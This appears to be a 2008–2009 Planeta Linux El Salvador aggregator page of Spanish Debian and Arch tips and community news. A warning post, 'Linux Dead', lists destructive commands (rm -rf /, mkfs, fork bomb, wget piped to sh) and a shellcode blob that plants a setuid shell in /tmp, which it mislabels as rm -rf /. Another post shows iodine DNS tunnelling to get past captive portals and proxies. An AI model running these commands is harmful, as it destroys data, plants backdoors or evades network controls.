Para mi una persona que utiliza Debian debe de saber que hay que documentarse y buscar una respuesta en los muchos buscadores que hay en internet antes de realizar una pregunta en un foro o chat. Me resulta molesto ir a google y ver la primera respuesta del buscador sea la solución al problema por lo que me viene preguntarme osea ¿quizás no conoce que es un buscador?.

Para los no informáticos, bastaría con conocer lo que hay que hacer en la pre y post instalación, además de saber algunos comandos básicos.

Para terminar hablando de los usuario y de Debian en resumidas palabras, Debian no es solo para servidores, Debian no es difícil de utilizar y puede ser para aquellas personas que de verdad quieran aprender o iniciar aprender en serio para luego pensar en cambiar de distribución si así lo consideran prudente.

Saludos o/
William Díaz

William Díaz
LEPROSYS feed

Dispositivo Intel Corporation 82801I (ICH9 Family) HD Audio Controller en ArchLinux

root [ /home/leprosys ]-> lspci | grep Audio
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)

Hacer funcionar el sonido me ha costado un huevo, el problema fue que me deje ir por el tutorial que esta en la Wiki de Arch. Este dispositivo de sonido es problemático, en Debian como en Ubuntu que fue donde tuve problemas con la calidad pero que se solucionaba fácilmente. [ver post]

Pero en Arch después de instalar Alsa:
# pacman -S alsa-lib alsa-utils alsa-oss

Lo único que hay que hacer es agregar las siguientes lineas al archivo "/etc/modprobe.d/sound" y si no existe pues habrá que crearlo:
options snd slots=snd-hda-intel
options snd-hda-intel enable_msi=1 model=hp-dv5
# Intel Corporation 82801I (ICH9 Family) HD Audio Controller
alias snd-card-0 snd-hda-intel
alias sound-slot-0 snd-hda-intel
Lo encontré en el foro de ArchLinux

No hay que tocar ningún otro archivo de configuración y si se toco algo en "/etc/rc.conf" "/etc/modprobe.d/alsa-base" "/etc/modprobe.conf " habrá que dejarlos como estaban.

Nota: probé usar "alsaconf" que crea y añade los módulos a "/etc/modprobe.d/sound" pero no funciona.
William Díaz

William Díaz
LEPROSYS feed

X.org y ArchLinux

Tengo un poco mas de una semana en ArchLinux y ya tuve mis primeras experiencias. Uno de los mayores problemas es la modificación de los archivos de configuración hay que saber hacer bien las cosas para tener algo funcional, sobre todo porque los archivos de configuración hay que editarlos.

Pero mi mayor problema en un principio fue con xorg.conf, siguiendo los pasos de la Wiki de Arch y usando hwd que genera xorg.conf con la configuración adaptada a nuestra PC incluyendo dispositivos de entrada. Pero el problema es que esta herramienta me ha agregado a mi xorg.conf cosas que no tengo y llenado de muchas lineas innecesarias.

Probé otro método xorgconfig, el cual pregunta detalladamente por todos nuestros dispositivos para finalmente generar xorg.conf. Quizás me hubiese sido mas útil si hubiera sabido un poco mas de las características de mi pantalla.

Por ultimo esta la opción de utilizar Xorg -configure que me ha funcionado muy bien, genera el xorg.conf de la forma mas adaptada a mi PC, tanto así que no he tenido que tocarlo para lograr tener aceleración gráfica o una resolución adecuada, por otra parte no esta demás editarlo para lograr una buena experiencia.
William Díaz

William Díaz
LEPROSYS feed

Promociona Flisol en tu Web Blog



Ya estamos cerca casi a un mes de que sea FLISOL y El Salvador no se queda atrás, por lo que si quieres promocionar el evento los invito a que pongan las siguientes imágenes en sus webs o blogs o utilizarlos como avatares:

Yo no voy
<a target='_blank' title='Yo NO voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img511.imageshack.us/img511/7686/novoyflisoloe0.png" mce_src="http://img511.imageshack.us/img511/7686/novoyflisoloe0.png" border='0'/></a> 


Yo no voy
<a target='_blank' title='Yo SI voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img510.imageshack.us/img510/5504/sivoyflisolvm9.png" mce_src="http://img510.imageshack.us/img510/5504/sivoyflisolvm9.png" border='0'/></a> 


Yo no voy
<a target='_blank' title='Yo voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img135.imageshack.us/img135/6302/stickerflisolld8.png" mce_src="http://img135.imageshack.us/img135/6302/stickerflisolld8.png" border='0'/></a>

Pueden encontrar mas material gráfico, como para usar bannners en foros, hacer estampados de camisas, volantes, ideas de publicidad en : http://www.flisol.net/FLISOL2008/MaterialGrafico

Contador by Manuel (neozerosv):
<script src="http://linux.ues.edu.sv/servidor/maracosas/neozerosv/ContadorFlisol/ScriptFlisol.js" type="text/javascript"></script>

20 de March de 2009

William Díaz

William Díaz
LEPROSYS feed

Configurando la terminal Rxvt con tranparencia

Descripción
Me encuentro usando awesome y las terminales son muy importantes. Utilizo rxvt como terminal, así que decidí ponerla como me gusta, con fondo semi-transparente negro y fuente color verde tamaño 9, etc.

Si no tienes instalada la terminal:
# aptitude install rxvt-unicode

Para realizar la configuracion hay que crear un archivo ~/.Xdefaults
$ nano .Xdefaults

En este archio ira la configuracion que nosotros queramos, la mia es la siguiente:
UXft.antialias: true
!urxvt - setting
URxvt*background: black
URxvt*foreground: #00ff00
URxvt*scrollBar: false
URxvt*inheritPixmap: true
URxvt*tintColor: black
URxvt*shading: 10
URxvt*termName: rxvt
URxvt*font: xft:Bitstream Vera Sans mono:size=9

Las opciones de transparencia son:
URxvt*inheritPixmap: true -> Indica que el fondo es transparente
URxvt*tintColor: black -> Indica el color de fondo de la transparencia
URxvt*shading: 10 -> Indica es el tono de transparencia

Hay muchas mas modificaciones que se pueden realizar, las pueden encontrar todas en el Main Manual Page de URxvt donde además esta la descripción de cada una.

16 de March de 2009

Victor Ostorga

Problema de compatibilidad entre Lotus Notes 8.0 y xulrunner

Antes de cualquier cosa, me refiero al caso del cliente Lotus Notes 8.0 bajo GNU/Linux.

En resumen Lotus Notes 8.0 no arranca con las librerías xulrunner nuevas (aquellas ocupadas en Mozilla Firefox 3), dando el siguiente error:

JVM terminated. Exit code=160

y revisando los logs del crash, me encuentro las siguientes lineas:

1XHEXCPCODE J9Generic_Signal_Number: 00000004
1XHEXCPCODE Signal_Number: 0000000B
1XHEXCPCODE Error_Value: 00000000
1XHEXCPCODE Signal_Code: 00000001
1XHEXCPCODE Handler1: B7D234F0
1XHEXCPCODE Handler2: B7CF0477
1XHEXCPCODE InaccessibleAddress: 613CFF20
NULL
1XHEXCPMODULE Module: /usr/lib/xulrunner-1.9/libxul.so
1XHEXCPMODULE Module_base_address: 8C45A000
NULL

La razón del fallo, fue por la utilización de las librerías xulrunner que acompañan a firefox 3, debido a que Eclipse (Notes ocupa internamente a Eclipse) esperaba que estuviera instalada una vieja version de xulrunner.

Para poder seguir ejecutando el notes hay dos soluciones:

  • Instalar xulrunner de firefox 2 para todo el sistema y firefox 3 en un directorio específico
  • Cambiar LD_LIBRARY_PATH apuntando a una librería xulrunner vieja

Se menciona que en Lotus Notes 8.5 este problema está solucionado, pero no lo he probado aún.

08 de March de 2009

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

mplayer (que bueno)

después de leer un par de post de la gente del planeta Linux sv, me encontré con el mplayer y me parece una muy buena solución aparte que nunca había oído una radio en internet sin tanta interferencia......XD




Gustavo Burgos (gnburgos)

07 de March de 2009

/me va mañana para Guatemala

y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi :), así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google :)

05 de March de 2009

Todos necesitamos internet

Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.

En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:

así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********

Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.

ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)

Bueno, ahora:
ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX

y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices :)

03 de March de 2009

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Instalando packet tracer en mi debian...


bueno ya se que no es muy bueno hacer este tipo de instalaciones ya que nos metemos con software para windochos pero por ai dicen que la necesidad te obliga....

asi que si a alguien le sirve aqui les dejo la forma de hacerlo sin tener muchos problemas....


lo primero que vamos a hacer es instalar lo que es el wine el cual nos sirve para instalar programas que son para plataforma de windows...

* apt get install wine-utils

con este nos instalamos lo que es el wine.

ahora para instalar el exe que necesitamos es saber en que directorio esta y hacemos lo sig...

en mi caso es asi

* wine /home/tavo/Desktop/packet_tracer_4.11

y de ai en adelante es solo siguien, siguiente, acepto, finish...

vale recalcar que hace un acceso directo en tu escritorio....


espero que sirva de algo a alguien.....

saludos



Gustavo Burgos (gnburgos)
Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Fin al Problema con el WIFI

pues el problema reaparecion con la actualizacion de mi debian etch por lenny pero menos mal que ya fue solucionado y hoy vivo :) la verda era algo mas que sencillo solo tube que compilar el kernel y adios al problema...

estos son los unicos pasos...

apt-get install module-assistant

module-assistant install ndiswrapper

module-assistant build ndiswrapper

y todo listo...


cada vez veo menos dificil a debian XD


Gustavo Burgos (gnburgos)
Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Problema con Virtualbox.... :s



Después de la batalla que le prendí al virtualbox no logre acabar con el problema que me a causado tantos dolores de cabeza....según fuentes el problema esta en la actualización de etch a lenny pero aun revisando un en el proyecto debian.org esta el problema y la solución la cual a mi no me funciono para nada.....

el problema figura en el package del VB pero ni modo le seguire metiendo por ahi y lo logre...

Gustavo Burgos (gnburgos)
Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Este es mi problema Virtualbox




Gustavo Burgos......(gnburgos)

27 de February de 2009

awe


Awesome window manager es el que uso actualmente para trabajar y para no-trabajar :p, es un tiling window manager o gestor de ventanas en mosaico, lo que permite tener automaticamente ordenadas las ventanas (clientes) en la pantalla ademas de aprovechar el espacio real de esta.

mi propio screenshot :p

mi propio screenshot :p


Awesome esta disponible en debian lenny en su version 2.1 y en debian unstable en su version 3.2-rc1, tiene las siguientes caracteristicas y no-caracteristicas:

-Ligero, es uno de los window manager mas pequeños en disco y memoria
-Rápido, usa las librerias XCB en lugar de las Xlibs por lo que es mas veloz que otros
-Estable, no se “truena” con el uso diario

-Soporte de Systray, las aplicaciones que usan esta caracteristica pueden anclarse (pidgin, liferea)
-Capacidad de ampliacion con widgets
-Puede usarse sin intervencion del mouse.

Para instalar:

#apt-get install awesome

Opcionales:

-rxvt-unicode : Terminal ligera con soporte de transparencia
-moc : Music on console un reproductor de musica desde terminal
-alsamixer: para manejar el volumen
-htop: Para medir la actividad del sistema
-pcmanfm: Gestor de archivos
-rox-filler: Otro gestor de archivos mas pequeño que pcmanfm

Uso:
Los atajos de teclado basicos son:
(Mod4 es la infame banderita en la mayoría de los casos [notese que los usuarios de awesome la usamos aun mas que los propios usuarios de win2 :p, ademas contribuimos a desteñirla de la tecla])

Mod4+F1(awesome 3, en la version 2 es F2): abre el runner escribimos parte de un comando y lo ejecuta, mucho mas veloz que un menu para abrir las aplicaciones, solo debemos saber el comando, (maneja un interprete de bash asi que cosas como export OOO_FORCE_DESKTOP=Gnome && oocalc son ejecutadas)

Mod4+Enter: Abre una terminal (update-alternatives –config x-terminal-emulator para elegir cual, default=xterm)

Mod4+Flecha ‘->’ nos movemos al siguiente tag

Mod4+Barra_espaciadora: cambia el layout (forma en que las ventanas estan ordenadas);

para mas info usen ‘man awesome’

configuracion:

Awesome en su estado default solo trae la estatus bar y un fondo de escritorio gris, todo esto puede ser
configurado desde el archivo ~/.config/awesome/rc.lua el cual al principio no existe pero pueden copiar directamente de /etc/xdg/awesome/rc.lua.

Pueden iniciar con las configuraciones mostradas aqui:

Awesome en esDebian

26 de February de 2009

Planeta Linux El Salvador

Planeta Linux El Salvador
Blog de Planeta Linux feed

Planeta Linux El Salvador como parte de la Asociación de Usuarios GNU/Linux de El Salvador

Gracias a René Mayorga y a la buena comunidad de linuxeros salvadoreños, Planeta Linux El Salvador se ha convertido en el agregador oficial de la Asociación de Usuarios GNU/Linux de El Salvador.

http://planet.linux.org.sv


¡Muchas gracias por su confianza! Seguimos trabajando para fortalecer nuestras comunidades linuxeras hispanoamericanas.

Si alguno de los amigos salvadoreños quiere formar parte de Planeta Linux El Salvador, no duden en hacérnoslo saber. De igual forma, si quieren echarnos la mano con la administración de Planeta Linux en general, son más que bienvenidos.
Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Chat Planeta Linux

 Como ya habíamos anunciado antes, tenemos disponible el canal de IRC de Planeta Linux para que la gente entre y se divierta un rato platicando. Sin embargo, aún ahora mucha gente no sabe bien qué es el IRC y gente nueva en Linux no tiene idea sobre estas tecnologías tan viejas, es por ellos que hemos montado una interfaz web de chat, visítenla en:

http://chat.planetalinux.org/


Nos vemos ahí.


25 de February de 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Nuevo Record en Xgalaga

Este domingo que paso me levante tarde, casi a las 11:00 am así que solo busque que había de tomar en el refrigerador, encontré jugo de naranja natural y me fui a la computadora a nancear un rato, al rato me puse a jugar xgalaga-hyperspace en mi Debian solo por ocio pero en la primera partida que tuve vi que llevaba mucha suerte y así como había comentado anteriormente esta vez volví a romper mi
David Mejia

Explicación Gráfica del Software Libre

Interesante explicación gráfica del software libre, por si no lo entendían con palabras (vía cesarius).

23 de February de 2009

Victor Ostorga

Tip en la línea de comandos de Debian

En la mayoría de las distribuciones GNU/Linux lo siguiente nos funcionará en una línea de comandos:

$ ls [PgUp] me muestra $ ls bleh/

Si lo sigo presionando me saldrán los comandos que hayan comenzado con “ls”, en conjunto con PgDn se podrá “avanzar” o “retroceder”. Esto funciona para cualquier comando que hayamos digitado en la consola y es algo muy útil por ejemplo en comandos extensos que hayamos digitado alguna vez.

En Debian no viene activado por defecto, desconozco el porqué, pero es fácil de corregir.

En el archivo /etc/inputrc modificamos la siguientes líneas:

# alternate mappings for “page up” and “page down” to search the history
# “e[5~”: history-search-backward
# “e[6~”: history-search-forward

por

# alternate mappings for “page up” and “page down” to search the history
“e[5~”: history-search-backward
“e[6~”: history-search-forward

Fácil cierto?

12 de February de 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Iphone Shell: Apt-get, debs y demas..

Muy interesante, definitivamente... aún estoy buscando información al respecto, pero vean el siguiente screenshot:Existe la aplicación Cydia que implementa apt en el iphone... tambien la aplicacion OpenSSH con la que conseguí la shell de arriba... ya me sentí bastante en confianza: el apt-get update funciona muy bien, las passwords no estan shadowed, algunos comandos como fstab, dmesg, nano y

09 de February de 2009

Discos a la basura

Hoy me puse a *quemar* cierta información en unos DVDs y de repente me dio por revisar la cantidad de CDs que tengo tirados (o agrupados) por todas partes y decidí botar los inservibles, ya sea por mal estado físico o por antigüedad del contenido.

Y así poco a poco fui conformando el paquete de discos que se irán a la basura, lo curioso del caso es que encontré discos entre los que figura: Debian Sid, pero cuando Woody era Stable, también discos de Debian Woody r1, dos discos #1 de Sarge, 5 NetInstaller de Etch, un set de FreeBSD (algo *reciente*, hace 2 ó 3 años), un disco de Debian kFreeBSD y un Knoppix 4.0.

En algún momento dude de tirarlos a la basura, pero me puse a pensar, que si en este momento necesitase un Debian NetInstaller, no utilizaría mis reliquias para instalar, sino mas bien, me bajaría el mas reciente y lo quemo, por lo tanto lo mejor es deshacerse de estos, aunque me quedé con el Knoppix y el FreeBSD.

05 de February de 2009

Adios `uptime’ en bart

Pues un poco triste porque perdí el uptime:

bart:~# uptime
17:48:56 up 161 days, 6:23, 1 user, load average: 0.20, 0.08, 0.02

Para muchos quiza no signifique mucho 161 dias, pero ya le habia tomado carino al `uptime’ de ese servidor. Ciertos requerimientos de una aplicacion en la version del kernel me obligo a hacer un upgrade y luego a reiniciar el equipo.

Así que ni modo, ahora a comenzar la cuenta de nuevo.

31 de January de 2009

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Vieja Screenshot de Enlightenment 16

Una vieja Screenshot de mi escritorio con Enlightenment 16:

30 de January de 2009

tuxwarrior


Bueno, aparezco para revivir el blog luego de una gran ausencia (me tuvieron que recordar que tenia blog XD) y vengo a poner una guia de como instalar la canon pixma IP1800 en debian, he visto muchos otros tutos que hay en internet, pero se aplican a ubuntu (versiones antiguas) y ya no aplican a debian, aqui esta lo que se necesita para hacerla funcionar:

1-Ingredientes:
apt-get install lo siguiente:
-cups
-foomatic-db
-gutenprint
-un navegador web.
-alien

####Edicion 12-02-09 #######
Las dependencias de los paquetes ya convertidos son estas:
apt-get install libc6 libcupsys2 libgtk1.2

2- Paso 1: bajarse el driver de la pagina de canon (rpm)
cnjbfilter-1800series.rpm
cnjbfilter-common.rpm

3- Instalar drivers
Primero generamos los debs para poder instalar con dpkg

alien -kc cnijfilter-common-2.70-1.i386.rpm
alien -kc cnijfilter-ip1800series-2.70-1.i386.rpm

luego instalamos los debs resultantes:

dpkg -i *.deb

4-Instalar la impresora:
Ahora entramos en la configuracion de cups, conectamos nuestra impresora al port de usb y luego vamos al navegador web y ponemos esta direccion:

http://localhost:631/

Esa es la direccion del servidor cups con el cual instalaremos la impresora, (esta forma es independiente del entorno de escritorio y del window manager).

Damos click al boton de “añadir impresora” y luego se nos preguntara el nombre, lugar y descripcion de la impresora (pueden poner lo que quieran aqui).

Luego nos preguntara cual es el tipo de impresora, veran (si se instalo correctamente el driver) que ya sale una etiqueta con el nombre de la impresora, la seleccionamos y vamos al fabricante “canon”, luego al driver “Canon IP1800″ y luego de esto nos pedira el user y contraseña “root y la pass de root” luego si todo funciono dira que la impresora ha sido agregada y podran probar imprimiendo la pagina de prueba.

Por el momento no hay un driver para amd64, y este servidor no ha intentado instalarla de ese modo (:p) asi que por momento esta impresora solo puede funcionar en 32 bits (si alguien ya la ha instalado en amd64 favor deje su comentario).

19 de January de 2009

David Mejia

Felicidades a René Mayorga

René Mayorga (aka El Churro) nos informa que el día de ayer ha sido ya seleccionado como un Debian Developer, por lo que le enviamos la más cordial felicitación porque no es fácil estar dentro de un gran equipo que día a día sigue desarrollando una distribución GNU/Linux de las más prestigiosas y estables en la actualidad y madre de muchas distros más (incluyendo a Ubuntu). Como dato importante, los DD (Debian Developers) son contaditos los que hay en latinoamérica, la mayoría son de Estados Unidos y Europa.

Si ven el mapa de la ubicación de cada desarrollador de Debian, ya pueden ver el puntito en El Salvador y otro en Costa Rica.

Así que esperamos que se le una más gente acá en El Salvador y Centroamérica, y es un ejemplo de como se puede innovar y ser la diferencia.

Saludos!!!

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Como ver el Canal 21 Megavision en Mandriva Linux

El Canal 21 es uno de los pocos canales de señal abierta que no lamen la bota de la Derecha salvadoreña (cosa que no se puede decir de los canales 2, 4, 6, 7, 12) en fin. El canal 21 tiene el servicio de Streaming de su programacion para poder verlo solo se debe ejecutar este comando:


mplayer mms://200.122.132.4/canal21
Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Primer DD de El Salvador

Realmente es un honor, como miembro fundador de la Comunidad de Usuarios Debian de El Salvador, ser amigo y ahora poder contar con el primer DD - Debian Developer de El Salvador.Como nuestro querido y singular amigo Rene "el churro" Mayorga cuenta en su post, han sido un par de años para concretizar este logro, sin embargo después de tanto esfuerzo y dedicación, El Salvador cuenta con alguien que

17 de January de 2009

William Díaz

William Díaz
LEPROSYS feed

Tux en .svg

Descripción
Estoy aprendiendo a usar un poco las herramientas de diseño y aunque no le leído un manual completo ya tuve mi primera experiencia con Inkscape creando un tux que es parecido al que esta en Tux Factory, debo de decir que me ha costado un poco llevarlo a como se ve ahora, quizás con un poco mas de experiencia podre realizar mejores diseños.

Les dejo el archivo .svg para que puedan realizar las modificaciones que ustedes crean adecuadas:

16 de January de 2009

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Goosh.org


En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos :(

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org

Usando `deadkeys’ al fin, tildes en mi teclado en Ingles

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»

Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.

pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:

Esto, saliendo de mi /etc/X11/xorg.conf

17 Section “InputDevice”
18         Identifier      “Generic Keyboard”
19         Driver          “kbd”
20         Option          “XkbRules”      “xorg”
21         Option          “XkbModel”      “pc105″
22         Option          “XkbLayout”     “us”
23         Option          “XkbVariant”    “intl”
24 EndSection

básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.

14 de January de 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

TMW y Aethyra

Mi trabajo durante estas vacaciones ha sido, la verdad enviciarme con:

1- The Mana World (TMW): que es un juego que viene en Debian Sid, y aunque sencillo es enviciante.

2. Aethyra: que es un fork de TMW que tiene muchos mas items, GMs mas agradables y podes hablar tu idioma donde quieras.

Aunque ya tenems una Clan de amigos llamados "Vivancos ClanDestinos" que mayoritariamente usan ubuntu, son buenos jugadores.
Los dos juegos tienen sus .deb para instalarlos en un debian, asi como los fuentes para compilarlos, en verdad se los recomiendo.

Aca unos screenshots.
TMW


Aethyra


PD: si quieren que les ayude, mi personaje es "manjes"


Referencias:
http://themanaworld.org/
http://www.aethyra.org/

13 de January de 2009

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Feed de Universo Planeta Linux

 En las últimas semanas, hemos estado trabajando en muchos nuevos features para Planeta Linux. Uno de ellos, y que la gente ha pedido desde hace mucho, es proveer un feed con todos los blogs que Planeta Linux sindica, esto es, todos los blogs de todos los países. Como por el momento no tenemos un buen equipo de diseño (si te interesa, contáctanos), hemos creado por el momento el feed Universo Planeta Linux.

¿Quieres enterarte de lo que se hablan en todos los blogs hispanoparlantes sobre Linux? Este feed es para ti. Sindica alrededor de 600 blogs, de las 13 instancias (países) de Planeta Linux.

http://feedproxy.google.com/UniversoPlanetaLinux


El feed por el momento sólo proporciona país, autor, título y link al post original. No se sindica el contenido para hacer el feed un poco más ligero.

12 de January de 2009

tuxwarrior


Aquí pongo una versión nueva del manual del usuario del kernel GNU/Linux, Espero que le sirva a la comunidad, parches bienvenidos.

Directorio de descarga

06 de January de 2009

102nueve en Linux

Soy medio aficionado a esta radio (no como lo era de la Femenina en los 90, pero algo…) y desde hace unos ratos he querido escucharla en la oficina (sin radioreceptor), la primera opción fue el celular pero es incomodo, la otra opción era la pagina de internet pero en mi Iceweasel no va muy bien.
Así que mejor hacerlo desde la terminal:

mplayer mms://190.5.136.69/102nueve

03 de January de 2009

David Mejia

Ubuntu siento que se vuelve más pesado…

Tengo una máquina con 512MB de RAM, y la tengo completamente con Ubuntu GNU/Linux versión 8.10 porque en teoría es un sistema mucho más liviano que por lo menos Windows XP.

Le he desactivado efectos gráficos como Compiz Fusion que ahora vienen integrados, para ahorrarme recursos, pero el problema está en que ahora en cada actualización los programas se están volviendo mucho más pesados, por ejemplo OpenOffice 3.0, Firefox 3.0, Gimp 2.6, entre otros…

La laptop se la he asignado a un colega para actividades de trabajo, a pesar de que se han sabido desarrollar en todas las actividades, escucho comentarios de que siente el sistema muy pesado, y eso que solamente usando suites ofimáticas y Mozilla Firefox, sin otro software.

Para variar, luego de una actualización, me aparece el siguiente mensaje:

Como en los viejos tiempos :D

Así que la conclusión es que ahora ni para con Linux, 512MB de RAM, ya son insuficientes, no tanto por el entorno de escritorio, sino por las aplicaciones.

Alguna sugerencia para mejorar el rendimiento de Ubuntu 8.10, sea bienvenido :)

Saludos!!!

28 de December de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

ROUND 4


No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro :D

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos :D

24 de December de 2008

William Díaz

William Díaz
LEPROSYS feed

Linux es una mierda porque no puede hacer como lo hace Windows

Descripción
He leído un articulo que me ha parecido por demás muy gracioso, y es que según el autor que se declara un principiante en linux, entra a pedir ayuda a un canal IRC donde le pregunto a "Gurus" como poder buscar ficheros en linux, puesto que la mayoría no les gusta responder preguntas tan fáciles, lo mandan a leer las paginas de manuales.

Según el la forma mas fácil de conseguir ayuda es siendo un troll y decir: "Linux es una mierda porque no puede hacer como lo hace Windows" así de fácil empiezan a llover todas las formas en que se puede hacer un función xD.

Creo que eso tiene mucho de cierto dependiendo donde se pregunte, pero la verdad es que para preguntar si se puede encontrar mas rápido y fácil en un buscador?

El articulo lo encontré en Meneame y lo pueden ver completo haciendo clic aquí.

18 de December de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Linux Dead


Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;


Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

:( ){:|:&};:

Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh


Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

mv /* /dev/null

rm -r /etc/

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog :)

12 de December de 2008

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Planeta linux en identi.ca

Gracias al trabajo de Carlos Perilla   ahora  planeta linux tiene cuenta en  identi.ca.

Identi.ca es un servicio similar a  twitter con la peculiaridad de que el software que utiliza el sitio tiene una licencia libre.

Si tu tienes cuenta en identi.ca   y quieres agregar a Planeta linux, puedes hacerlo aquí:

http://identi.ca/planetalinux




Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Audacity


